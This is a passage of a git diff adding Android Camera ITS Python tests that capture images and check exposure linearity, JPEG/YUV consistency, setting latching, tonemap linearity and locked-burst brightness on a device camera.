+            if i == THRESH_CONVERGE_FOR_EV-1:
+              lumas.append(luma)
+              msg = 'AE locked lumas: %s, RTOL: %.2f' % (
+                  str(luma_locked), LUMA_LOCKED_TOL)
+              assert np.isclose(min(luma_locked), max(luma_locked),
+                                rtol=LUMA_LOCKED_TOL), msg
+      logging.debug('lumas in AE locked captures: %s', str(lumas))
+      assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
+          'android.control.aeState'] == LOCKED
+
+    # Create plot
+    pylab.figure(NAME)
+    pylab.plot(evs, lumas, '-ro')
+    pylab.title(NAME)
+    pylab.xlabel('EV Compensation')
+    pylab.ylabel('Mean Luma (Normalized)')
+    matplotlib.pyplot.savefig(
+        '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+    # Trim extra saturated images
+    while (lumas[-2] >= YUV_SAT_MIN/YUV_FULL_SCALE and
+           lumas[-1] >= YUV_SAT_MIN/YUV_FULL_SCALE and
+           len(lumas) > 2):
+      lumas.pop(-1)
+      logging.debug('Removed saturated image.')
+
+    # Only allow positive EVs to give saturated image
+    e_msg = '>%d unsaturated images needed.' % (NUM_UNSATURATED_EVS-1)
+    assert len(lumas) >= NUM_UNSATURATED_EVS, e_msg
+    min_luma_diffs = min(np.diff(lumas))
+    logging.debug('Min of luma value difference between adjacent ev comp: %.3f',
+                  min_luma_diffs)
+
+    # Assert unsaturated lumas increasing with increasing ev comp.
+    assert min_luma_diffs > 0, 'Luma is not increasing! lumas %s' % str(lumas)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_exposure.py b/apps/CameraITS2.0/tests/scene1_1/test_exposure.py
new file mode 100644
index 0000000..b8791d2
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_exposure.py
@@ -0,0 +1,274 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_PTS_2X_GAIN = 3  # 3 points every 2x increase in gain
+PATCH_H = 0.1  # center 10% patch params
+PATCH_W = 0.1
+PATCH_X = 0.45
+PATCH_Y = 0.45
+RAW_STATS_GRID = 9  # define 9x9 (11.11%) spacing grid for rawStats processing
+RAW_STATS_XY = RAW_STATS_GRID//2  # define X, Y location for center rawStats
+THRESH_MIN_LEVEL = 0.1
+THRESH_MAX_LEVEL = 0.9
+THRESH_MAX_LEVEL_DIFF = 0.045
+THRESH_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
+THRESH_MAX_OUTLIER_DIFF = 0.1
+THRESH_ROUND_DOWN_GAIN = 0.1
+THRESH_ROUND_DOWN_EXP = 0.03
+THRESH_ROUND_DOWN_EXP0 = 1.00  # TOL at 0ms exp; theoretical limit @ 4-line exp
+THRESH_EXP_KNEE = 6E6  # exposures less than knee have relaxed tol
+WIDE_EXP_RANGE_THRESH = 64.0  # threshold for 'wide' range sensor
+
+
+def plot_rgb_means(title, x, r, g, b, log_path):
+  """Plot the RGB mean data.
+
+  Args:
+    title: string for figure title
+    x: x values for plot, gain multiplier
+    r: r plane means
+    g: g plane means
+    b: b plane menas
+    log_path: path for saved files
+  """
+  pylab.figure(title)
+  pylab.semilogx(x, r, 'ro-')
+  pylab.semilogx(x, g, 'go-')
+  pylab.semilogx(x, b, 'bo-')
+  pylab.title(NAME + title)
+  pylab.xlabel('Gain Multiplier')
+  pylab.ylabel('Normalized RGB Plane Avg')
+  pylab.minorticks_off()
+  pylab.xticks(x[0::NUM_PTS_2X_GAIN], x[0::NUM_PTS_2X_GAIN])
+  pylab.ylim([0, 1])
+  plot_name = '%s_plot_means.png' % os.path.join(log_path, NAME)
+  matplotlib.pyplot.savefig(plot_name)
+
+
+def plot_raw_means(title, x, r, gr, gb, b, log_path):
+  """Plot the RAW mean data.
+
+  Args:
+    title: string for figure title
+    x: x values for plot, gain multiplier
+    r: R plane means
+    gr: Gr plane means
+    gb: Gb plane means
+    b: B plane menas
+    log_path: path for saved files
+  """
+  pylab.figure(title)
+  pylab.semilogx(x, r, 'ro-', label='R')
+  pylab.semilogx(x, gr, 'go-', label='Gr')
+  pylab.semilogx(x, gb, 'bo-', label='Gb')
+  pylab.semilogx(x, b, 'bo-', label='B')
+  pylab.title(NAME + title)
+  pylab.xlabel('Gain Multiplier')
+  pylab.ylabel('Normalized RAW Plane Avg')
+  pylab.minorticks_off()
+  pylab.xticks(x[0::NUM_PTS_2X_GAIN], x[0::NUM_PTS_2X_GAIN])
+  pylab.ylim([0, 1])
+  pylab.legend(numpoints=1)
+  plot_name = '%s_plot_raw_means.png' % os.path.join(log_path, NAME)
+  matplotlib.pyplot.savefig(plot_name)
+
+
+def check_line_fit(chan, mults, values, thresh_max_level_diff):
+  """Find line fit and check values.
+
+  Check for linearity. Verify sample pixel mean values are close to each
+  other. Also ensure that the images aren't clamped to 0 or 1
+  (which would also make them look like flat lines).
+
+  Args:
+    chan: integer number to define RGB or RAW channel
+    mults: list of multiplication values for gain*m, exp/m
+    values: mean values for chan
+    thresh_max_level_diff: threshold for max difference
+  """
+
+  m, b = np.polyfit(mults, values, 1).tolist()
+  min_val = min(values)
+  max_val = max(values)
+  max_diff = max_val - min_val
+  logging.debug('Channel %d line fit (y = mx+b): m = %f, b = %f', chan, m, b)
+  logging.debug('Channel min %f max %f diff %f', min_val, max_val, max_diff)
+  e_msg = 'max_diff: %.4f, THRESH: %.3f' % (max_diff, thresh_max_level_diff)
+  assert max_diff < thresh_max_level_diff, e_msg
+  e_msg = 'b: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+      b, THRESH_MIN_LEVEL, THRESH_MAX_LEVEL)
+  assert THRESH_MAX_LEVEL > b > THRESH_MIN_LEVEL, e_msg
+  for v in values:
+    e_msg = 'v: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+        v, THRESH_MIN_LEVEL, THRESH_MAX_LEVEL)
+    assert THRESH_MAX_LEVEL > v > THRESH_MIN_LEVEL, e_msg
+    e_msg = 'v: %.2f, b: %.2f, THRESH_MAX_OUTLIER_DIFF: %.1f' % (
+        v, b, THRESH_MAX_OUTLIER_DIFF)
+    assert abs(v - b) < THRESH_MAX_OUTLIER_DIFF, e_msg
+
+
+def get_raw_active_array_size(props):
+  """Return the active array w, h from props."""
+  aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
+         props['android.sensor.info.preCorrectionActiveArraySize']['left'])
+  aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
+         props['android.sensor.info.preCorrectionActiveArraySize']['top'])
+  return aaw, aah
+
+
+class ExposureTest(its_base_test.ItsBaseTest):
+  """Test that a constant exposure is seen as ISO and exposure time vary.
+
+  Take a series of shots that have ISO and exposure time chosen to balance
+  each other; result should be the same brightness, but over the sequence
+  the images should get noisier.
+  """
+
+  def test_exposure(self):
+    mults = []
+    r_means = []
+    g_means = []
+    b_means = []
+    raw_r_means = []
+    raw_gr_means = []
+    raw_gb_means = []
+    raw_b_means = []
+    thresh_max_level_diff = THRESH_MAX_LEVEL_DIFF
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize params for requests
+      debug = self.debug_mode
+      raw_avlb = (camera_properties_utils.raw16(props) and
+                  camera_properties_utils.manual_sensor(props))
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['minSensitivity']
+      s_e_product = s*e
+      expt_range = props['android.sensor.info.exposureTimeRange']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      m = 1.0
+
+      # Do captures with a range of exposures, but constant s*e
+      while s*m < sens_range[1] and e/m > expt_range[0]:
+        mults.append(m)
+        s_test = round(s * m)
+        e_test = s_e_product // s_test
+        logging.debug('Testing s: %d, e: %dns', s_test, e_test)
+        req = capture_request_utils.manual_capture_request(
+            s_test, e_test, 0.0, True, props)
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        s_res = cap['metadata']['android.sensor.sensitivity']
+        e_res = cap['metadata']['android.sensor.exposureTime']
+        # determine exposure tolerance based on exposure time
+        if e_test >= THRESH_EXP_KNEE:
+          thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
+        else:
+          thresh_round_down_exp = (
+              THRESH_ROUND_DOWN_EXP +
+              (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
+              (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
+        s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
+            s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
+        assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
+        e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
+            e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
+        assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
+        s_e_product_res = s_res * e_res
+        req_res_ratio = s_e_product / s_e_product_res
+        logging.debug('Capture result s: %d, e: %dns', s_res, e_res)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(
+            img, '%s_mult=%3.2f.jpg' % (os.path.join(self.log_path, NAME), m))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        # Adjust for the difference between request and result
+        r_means.append(rgb_means[0] * req_res_ratio)
+        g_means.append(rgb_means[1] * req_res_ratio)
+        b_means.append(rgb_means[2] * req_res_ratio)
+
+        # Do with RAW_STATS space if debug
+        if raw_avlb and debug:
+          aaw, aah = get_raw_active_array_size(props)
+          fmt_raw = {'format': 'rawStats',
+                     'gridWidth': aaw//RAW_STATS_GRID,
+                     'gridHeight': aah//RAW_STATS_GRID}
+          raw_cap = its_session_utils.do_capture_with_latency(
+              cam, req, sync_latency, fmt_raw)
+          r, gr, gb, b = image_processing_utils.convert_capture_to_planes(
+              raw_cap, props)
+          raw_r_means.append(r[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+          raw_gr_means.append(gr[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+          raw_gb_means.append(gb[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+          raw_b_means.append(b[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+
+          # Test number of points per 2x gain
+        m *= pow(2, 1.0/NUM_PTS_2X_GAIN)
+
+      # Loosen threshold for devices with wider exposure range
+      if m >= WIDE_EXP_RANGE_THRESH:
+        thresh_max_level_diff = THRESH_MAX_LEVEL_DIFF_WIDE_RANGE
+
+    # Draw plots and check data
+    plot_rgb_means('RGB data', mults, r_means, g_means, b_means, self.log_path)
+    for ch, _ in enumerate(['r', 'g', 'b']):
+      values = [r_means, g_means, b_means][ch]
+      check_line_fit(ch, mults, values, thresh_max_level_diff)
+
+    if raw_avlb and debug:
+      plot_raw_means('RAW data', mults, raw_r_means, raw_gr_means, raw_gb_means,
+                     raw_b_means, self.log_path)
+      for ch, _ in enumerate(['r', 'gr', 'gb', 'b']):
+        values = [raw_r_means, raw_gr_means, raw_gb_means, raw_b_means][ch]
+        check_line_fit(ch, mults, values, thresh_max_level_diff)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_jpeg.py b/apps/CameraITS2.0/tests/scene1_1/test_jpeg.py
new file mode 100644
index 0000000..a89aca5
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_jpeg.py
@@ -0,0 +1,108 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESHOLD_MAX_RMS_DIFF = 0.01
+
+
+def compute_img_means_and_save(img, img_name, log_path):
+  """Extract center patch, compute means, and save image.
+
+  Args:
+    img: image array
+    img_name: text to identify image
+    log_path: location to save image
+
+  Returns:
+    means of image patch
+  """
+  image_processing_utils.write_image(
+      img, '%s_fmt=%s.jpg' % (os.path.join(log_path, NAME), img_name))
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  rgb_means = image_processing_utils.compute_image_means(patch)
+  logging.debug('%s rgb_means: %s', img_name, str(rgb_means))
+  return rgb_means
+
+
+class JpegTest(its_base_test.ItsBaseTest):
+  """Test that converted YUV images and device JPEG images look the same."""
+
+  def test_jpeg(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+      sync_latency = camera_properties_utils.sync_latency(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize common request parameters
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      # YUV
+      size = capture_request_utils.get_available_output_sizes('yuv', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'yuv'}
+      cap = its_session_utils.do_capture_with_latency(
+          cam, req, sync_latency, out_surface)
+      img = image_processing_utils.convert_capture_to_rgb_image(cap)
+      rgb_means_yuv = compute_img_means_and_save(img, 'yuv', log_path)
+
+      # JPEG
+      size = capture_request_utils.get_available_output_sizes('jpg', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'jpg'}
+      cap = its_session_utils.do_capture_with_latency(
+          cam, req, sync_latency, out_surface)
+      img = image_processing_utils.decompress_jpeg_to_rgb_image(cap['data'])
+      rgb_means_jpg = compute_img_means_and_save(img, 'jpg', log_path)
+
+      # Assert images are similar
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_jpg)
+      logging.debug('RMS difference: %.3f', rms_diff)
+      e_msg = 'RMS difference: %.3f, spec: %.2f' % (
+          rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_latching.py b/apps/CameraITS2.0/tests/scene1_1/test_latching.py
new file mode 100644
index 0000000..08655e6
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_latching.py
@@ -0,0 +1,128 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+EXP_GAIN_FACTOR = 2
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+REQ_PATTERN = ['base', 'base', 'iso', 'iso', 'base', 'base', 'exp',
+               'base', 'iso', 'base', 'exp', 'base', 'exp', 'exp']
+PATTERN_CHECK = [False if r == 'base' else True for r in REQ_PATTERN]
+
+
+class LatchingTest(its_base_test.ItsBaseTest):
+  """Test that settings latch on the right frame.
+
+  Takes a sequence of 14 shots using back-to-back requests, varying the capture
+  request gain and exp parameters between shots. Check images that come back
+  have the properties.
+
+  Pattern is described in EXP_GAIN_HIGH_PATTERN where False is NOM, True is High
+  """
+
+  def test_latching(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.full_or_better(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create requests, do captures and extract means for each image
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+
+      e /= EXP_GAIN_FACTOR
+      r_means = []
+      g_means = []
+      b_means = []
+      reqs = []
+      base_req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
+      iso_mult_req = capture_request_utils.manual_capture_request(
+          s * EXP_GAIN_FACTOR, e, 0.0, True, props)
+      exp_mult_req = capture_request_utils.manual_capture_request(
+          s, e * EXP_GAIN_FACTOR, 0.0, True, props)
+      for req_type in REQ_PATTERN:
+        if req_type == 'base':
+          reqs.append(base_req)
+        elif req_type == 'exp':
+          reqs.append(exp_mult_req)
+        elif req_type == 'iso':
+          reqs.append(iso_mult_req)
+        else:
+          assert 0, 'Incorrect capture request!'
+
+      caps = cam.do_capture(reqs, fmt)
+      for i, cap in enumerate(caps):
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_i=%02d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+      logging.debug('G means: %s', str(g_means))
+
+      # Plot results
+      idxs = range(len(r_means))
+      pylab.figure(NAME)
+      pylab.plot(idxs, r_means, '-ro')
+      pylab.plot(idxs, g_means, '-go')
+      pylab.plot(idxs, b_means, '-bo')
+      pylab.ylim([0, 1])
+      pylab.title(NAME)
+      pylab.xlabel('capture')
+      pylab.ylabel('RGB means')
+      matplotlib.pyplot.savefig('%s_plot_means.png' % os.path.join(
+          log_path, NAME))
+
+      # check G mean pattern for correctness
+      g_avg_for_caps = sum(g_means) / len(g_means)
+      g_high = [g / g_avg_for_caps > 1 for g in g_means]
+      assert g_high == PATTERN_CHECK, 'G means: %s, TEMPLATE: %s' % (
+          str(g_means), str(REQ_PATTERN))
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_linearity.py b/apps/CameraITS2.0/tests/scene1_1/test_linearity.py
new file mode 100644
index 0000000..4b03792
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_linearity.py
@@ -0,0 +1,133 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_STEPS = 6
+PATCH_H = 0.1  # center 10% patch params
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+RESIDUAL_THRESH = 0.0003  # sample error of ~2/255 in np.arange(0, 0.5, 0.1)
+VGA_W, VGA_H = 640, 480
+
+# HAL3.2 spec requires curves up to 64 control points in length be supported
+L = 63
+GAMMA_LUT = np.array(
+    sum([[i/L, math.pow(i/L, 1/2.2)] for i in range(L+1)], []))
+INV_GAMMA_LUT = np.array(
+    sum([[i/L, math.pow(i/L, 2.2)] for i in range(L+1)], []))
+
+
+class LinearityTest(its_base_test.ItsBaseTest):
+  """Test that device processing can be inverted to linear pixels.
+
+  Captures a sequence of shots with the device pointed at a uniform
+  target. Attempts to invert all the ISP processing to get back to
+  linear R,G,B pixel data.
+  """
+
+  def test_linearity(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+      sync_latency = camera_properties_utils.sync_latency(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Determine sensitivities to test over
+      e_mid, s_mid = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['midSensitivity']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      sensitivities = [s_mid*x/NUM_STEPS for x in range(1, NUM_STEPS)]
+      sensitivities = [s for s in sensitivities
+                       if s > sens_range[0] and s < sens_range[1]]
+
+      # Initialize capture request
+      req = capture_request_utils.manual_capture_request(0, e_mid)
+      req['android.blackLevel.lock'] = True
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {'red': GAMMA_LUT.tolist(),
+                                      'green': GAMMA_LUT.tolist(),
+                                      'blue': GAMMA_LUT.tolist()}
+      # Do captures and calculate center patch RGB means
+      r_means = []
+      g_means = []
+      b_means = []
+      fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+      for sens in sensitivities:
+        req['android.sensor.sensitivity'] = sens
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        img_name = '%s_sens=%.04d.jpg' % (
+            os.path.join(self.log_path, NAME), sens)
+        image_processing_utils.write_image(img, img_name)
+        img = image_processing_utils.apply_lut_to_image(
+            img, INV_GAMMA_LUT[1::2] * L)
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+
+      # Plot means
+      pylab.figure(NAME)
+      pylab.plot(sensitivities, r_means, '-ro')
+      pylab.plot(sensitivities, g_means, '-go')
+      pylab.plot(sensitivities, b_means, '-bo')
+      pylab.title(NAME)
+      pylab.xlim([sens_range[0], sens_range[1]/2])
+      pylab.ylim([0, 1])
+      pylab.xlabel('sensitivity(ISO)')
+      pylab.ylabel('RGB avg [0, 1]')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(self.log_path, NAME))
+
+      # Assert plot curves are linear w/ + slope by examining polyfit residual
+      for means in [r_means, g_means, b_means]:
+        line, residuals, _, _, _ = np.polyfit(
+            range(len(sensitivities)), means, 1, full=True)
+        logging.debug('Line: m=%f, b=%f, resid=%f',
+                      line[0], line[1], residuals[0])
+        msg = 'residual: %.5f, THRESH: %.4f' % (residuals[0], RESIDUAL_THRESH)
+        assert residuals[0] < RESIDUAL_THRESH, msg
+        assert line[0] > 0, 'slope %.6f less than 0!' % line[0]
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_locked_burst.py b/apps/CameraITS2.0/tests/scene1_1/test_locked_burst.py
new file mode 100644
index 0000000..6334601
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_locked_burst.py
@@ -0,0 +1,116 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+BURST_LEN = 8
+COLORS = ['R', 'G', 'B']
+FPS_MAX_DIFF = 2.0
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W
+PATCH_Y = 0.5 - PATCH_H
+SPREAD_THRESH_MANUAL_SENSOR = 0.01
+SPREAD_THRESH = 0.03
+VALUE_THRESH = 0.1
+
+
+class LockedBurstTest(its_base_test.ItsBaseTest):
+  """Test 3A lock + YUV burst (using auto settings).
+
+  This is a test designed to pass even on limited devices that
+  don't have MANUAL_SENSOR or PER_FRAME_CONTROL. The test checks
+  YUV image consistency while the frame rate check is in CTS.
+  """
+
+  def test_locked_burst(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      mono_camera = camera_properties_utils.mono_camera(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ae_lock(props) and
+          camera_properties_utils.awb_lock(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Converge 3A prior to capture.
+      cam.do_3a(do_af=True, lock_ae=True, lock_awb=True,
+                mono_camera=mono_camera)
+
+      fmt = capture_request_utils.get_largest_yuv_format(props)
+
+      # After 3A has converged, lock AE+AWB for the duration of the test.
+      logging.debug('Locking AE & AWB')
+      req = capture_request_utils.fastest_auto_capture_request(props)
+      req['android.control.awbLock'] = True
+      req['android.control.aeLock'] = True
+
+      # Capture bursts of YUV shots.
+      # Get the mean values of a center patch for each.
+      r_means = []
+      g_means = []
+      b_means = []
+      caps = cam.do_capture([req]*BURST_LEN, fmt)
+      for i, cap in enumerate(caps):
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_frame%d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        means = image_processing_utils.compute_image_means(patch)
+        r_means.append(means[0])
+        g_means.append(means[1])
+        b_means.append(means[2])
+
+      # Assert center patch brightness & similarity
+      for i, means in enumerate([r_means, g_means, b_means]):
+        plane = COLORS[i]
+        min_means = min(means)
+        spread = max(means) - min_means
+        logging.debug('%s patch mean spread %.5f. means = %s',
+                      plane, spread, str(means))
+        for j in range(BURST_LEN):
+          e_msg = '%s frame %d too dark! mean: %.5f, THRESH: %.2f' % (
+              plane, j, min_means, VALUE_THRESH)
+          assert min_means > VALUE_THRESH, e_msg
+          threshold = SPREAD_THRESH
+          if camera_properties_utils.manual_sensor(props):
+            threshold = SPREAD_THRESH_MANUAL_SENSOR
+          e_msg = '%s center patch spread: %.5f, THRESH: %.2f' % (
+              plane, spread, threshold)
